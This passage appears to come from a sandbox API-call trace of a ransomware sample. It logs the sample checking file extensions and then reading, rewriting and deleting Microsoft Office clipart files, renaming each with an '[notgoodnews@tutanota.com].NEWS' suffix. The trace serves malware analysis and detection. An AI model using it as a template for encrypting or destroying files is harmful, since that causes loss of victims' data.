(lpString1=".xls", lpString2=".WMF") returned 1 [0078.348] lstrlenW (lpString=".xlsx") returned 5 [0078.348] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.348] lstrlenW (lpString=".ppt") returned 4 [0078.349] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0078.349] lstrlenW (lpString=".zip") returned 4 [0078.349] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.349] lstrlenW (lpString=".rar") returned 4 [0078.349] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.349] lstrlenW (lpString=".bz2") returned 4 [0078.349] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.349] lstrlenW (lpString=".7z") returned 3 [0078.349] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0078.349] lstrlenW (lpString=".dbf") returned 4 [0078.349] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0078.349] lstrlenW (lpString=".1cd") returned 4 [0078.349] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0078.349] lstrlenW (lpString=".jpg") returned 4 [0078.349] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.349] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0078.349] lstrlenW (lpString="BD09662_.WMF") returned 12 [0078.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0078.349] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=20554) returned 1 [0078.350] CloseHandle (hObject=0x384) returned 1 [0078.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x220 [0078.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0078.350] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.350] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0078.350] GetLastError () returned 0x0 [0078.350] ReadFile (in: hFile=0x384, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x504a, lpOverlapped=0x0) returned 1 [0078.352] WriteFile (in: hFile=0x33c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x5050, lpOverlapped=0x0) returned 1 [0078.353] ReadFile (in: hFile=0x384, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.353] WriteFile (in: hFile=0x33c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.353] SetEndOfFile (hFile=0x33c) returned 1 [0078.353] CloseHandle (hObject=0x33c) returned 1 [0078.367] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.367] SetEndOfFile (hFile=0x384) returned 1 [0078.368] CloseHandle (hObject=0x384) returned 1 [0078.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0078.368] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0078.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0078.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0078.368] lstrlenW (lpString=".doc") returned 4 [0078.368] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.368] lstrlenW (lpString=".docx") returned 5 [0078.368] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.368] lstrlenW (lpString=".pdf") returned 4 [0078.368] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.368] lstrlenW (lpString=".xls") returned 4 [0078.368] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.368] lstrlenW (lpString=".xlsx") returned 5 [0078.368] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.369] lstrlenW (lpString=".ppt") returned 4 [0078.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0078.369] lstrlenW (lpString=".zip") returned 4 [0078.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.369] lstrlenW (lpString=".rar") returned 4 [0078.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.369] lstrlenW (lpString=".bz2") returned 4 [0078.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.369] lstrlenW (lpString=".7z") returned 3 [0078.369] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0078.369] lstrlenW (lpString=".dbf") returned 4 [0078.369] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0078.369] lstrlenW (lpString=".1cd") returned 4 [0078.369] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0078.369] lstrlenW (lpString=".jpg") returned 4 [0078.369] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0078.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0078.369] lstrlenW (lpString=".doc") returned 4 [0078.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.369] lstrlenW (lpString=".docx") returned 5 [0078.370] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.370] lstrlenW (lpString=".pdf") returned 4 [0078.370] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.370] lstrlenW (lpString=".xls") returned 4 [0078.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.370] lstrlenW (lpString=".xlsx") returned 5 [0078.370] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.370] lstrlenW (lpString=".ppt") returned 4 [0078.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0078.370] lstrlenW (lpString=".zip") returned 4 [0078.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.370] lstrlenW (lpString=".rar") returned 4 [0078.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.370] lstrlenW (lpString=".bz2") returned 4 [0078.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.370] lstrlenW (lpString=".7z") returned 3 [0078.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0078.370] lstrlenW (lpString=".dbf") returned 4 [0078.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0078.370] lstrlenW (lpString=".1cd") returned 4 [0078.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0078.370] lstrlenW (lpString=".jpg") returned 4 [0078.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.370] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0078.370] lstrlenW (lpString="BD09664_.WMF") returned 12 [0078.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0078.371] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=7966) returned 1 [0078.371] CloseHandle (hObject=0x384) returned 1 [0078.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x220 [0078.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0078.371] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.371] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0078.372] GetLastError () returned 0x0 [0078.372] ReadFile (in: hFile=0x384, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x1f1e, lpOverlapped=0x0) returned 1 [0078.373] WriteFile (in: hFile=0x33c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x1f20, lpOverlapped=0x0) returned 1 [0078.374] ReadFile (in: hFile=0x384, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.374] WriteFile (in: hFile=0x33c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.374] SetEndOfFile (hFile=0x33c) returned 1 [0078.375] CloseHandle (hObject=0x33c) returned 1 [0078.376] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.376] SetEndOfFile (hFile=0x384) returned 1 [0078.376] CloseHandle (hObject=0x384) returned 1 [0078.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0078.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0078.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0078.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0078.377] lstrlenW (lpString=".doc") returned 4 [0078.377] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.377] lstrlenW (lpString=".docx") returned 5 [0078.377] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.377] lstrlenW (lpString=".pdf") returned 4 [0078.377] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.377] lstrlenW (lpString=".xls") returned 4 [0078.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.377] lstrlenW (lpString=".xlsx") returned 5 [0078.377] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.377] lstrlenW (lpString=".ppt") returned 4 [0078.377] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0078.377] lstrlenW (lpString=".zip") returned 4 [0078.377] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.377] lstrlenW (lpString=".rar") returned 4 [0078.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.378] lstrlenW (lpString=".bz2") returned 4 [0078.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.378] lstrlenW (lpString=".7z") returned 3 [0078.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0078.378] lstrlenW (lpString=".dbf") returned 4 [0078.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0078.378] lstrlenW (lpString=".1cd") returned 4 [0078.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0078.378] lstrlenW (lpString=".jpg") returned 4 [0078.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0078.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0078.378] lstrlenW (lpString=".doc") returned 4 [0078.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.378] lstrlenW (lpString=".docx") returned 5 [0078.378] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.378] lstrlenW (lpString=".pdf") returned 4 [0078.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.378] lstrlenW (lpString=".xls") returned 4 [0078.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.378] lstrlenW (lpString=".xlsx") returned 5 [0078.378] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.378] lstrlenW (lpString=".ppt") returned 4 [0078.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0078.378] lstrlenW (lpString=".zip") returned 4 [0078.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.378] lstrlenW (lpString=".rar") returned 4 [0078.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.378] lstrlenW (lpString=".bz2") returned 4 [0078.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.379] lstrlenW (lpString=".7z") returned 3 [0078.379] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0078.379] lstrlenW (lpString=".dbf") returned 4 [0078.379] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0078.379] lstrlenW (lpString=".1cd") returned 4 [0078.379] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0078.379] lstrlenW (lpString=".jpg") returned 4 [0078.379] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.379] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0078.379] lstrlenW (lpString="BD10890_.GIF") returned 12 [0078.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0079.084] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=13515) returned 1 [0079.084] CloseHandle (hObject=0x2c4) returned 1 [0079.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 0x220 [0079.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0079.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0079.085] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.085] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0079.085] GetLastError () returned 0x0 [0079.085] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x34cb, lpOverlapped=0x0) returned 1 [0079.087] WriteFile (in: hFile=0x398, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x34d0, lpOverlapped=0x0) returned 1 [0079.088] ReadFile (in: hFile=0x2c4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.088] WriteFile (in: hFile=0x398, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.089] SetEndOfFile (hFile=0x398) returned 1 [0079.089] CloseHandle (hObject=0x398) returned 1 [0079.090] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.090] SetEndOfFile (hFile=0x2c4) returned 1 [0079.091] CloseHandle (hObject=0x2c4) returned 1 [0079.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0079.091] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0079.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0079.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0079.091] lstrlenW (lpString=".doc") returned 4 [0079.091] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0079.091] lstrlenW (lpString=".docx") returned 5 [0079.091] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0079.092] lstrlenW (lpString=".pdf") returned 4 [0079.092] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0079.092] lstrlenW (lpString=".xls") returned 4 [0079.092] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0079.092] lstrlenW (lpString=".xlsx") returned 5 [0079.092] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0079.092] lstrlenW (lpString=".ppt") returned 4 [0079.092] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0079.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0079.092] lstrlenW (lpString=".zip") returned 4 [0079.092] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0079.092] lstrlenW (lpString=".rar") returned 4 [0079.092] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0079.092] lstrlenW (lpString=".bz2") returned 4 [0079.092] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0079.092] lstrlenW (lpString=".7z") returned 3 [0079.092] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0079.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0079.092] lstrlenW (lpString=".dbf") returned 4 [0079.092] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0079.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0079.092] lstrlenW (lpString=".1cd") returned 4 [0079.092] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0079.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0079.092] lstrlenW (lpString=".jpg") returned 4 [0079.092] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0079.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0079.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0079.092] lstrlenW (lpString=".doc") returned 4 [0079.092] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0079.092] lstrlenW (lpString=".docx") returned 5 [0079.092] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0079.092] lstrlenW (lpString=".pdf") returned 4 [0079.092] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0079.092] lstrlenW (lpString=".xls") returned 4 [0079.093] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0079.093] lstrlenW (lpString=".xlsx") returned 5 [0079.093] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0079.093] lstrlenW (lpString=".ppt") returned 4 [0079.093] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0079.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 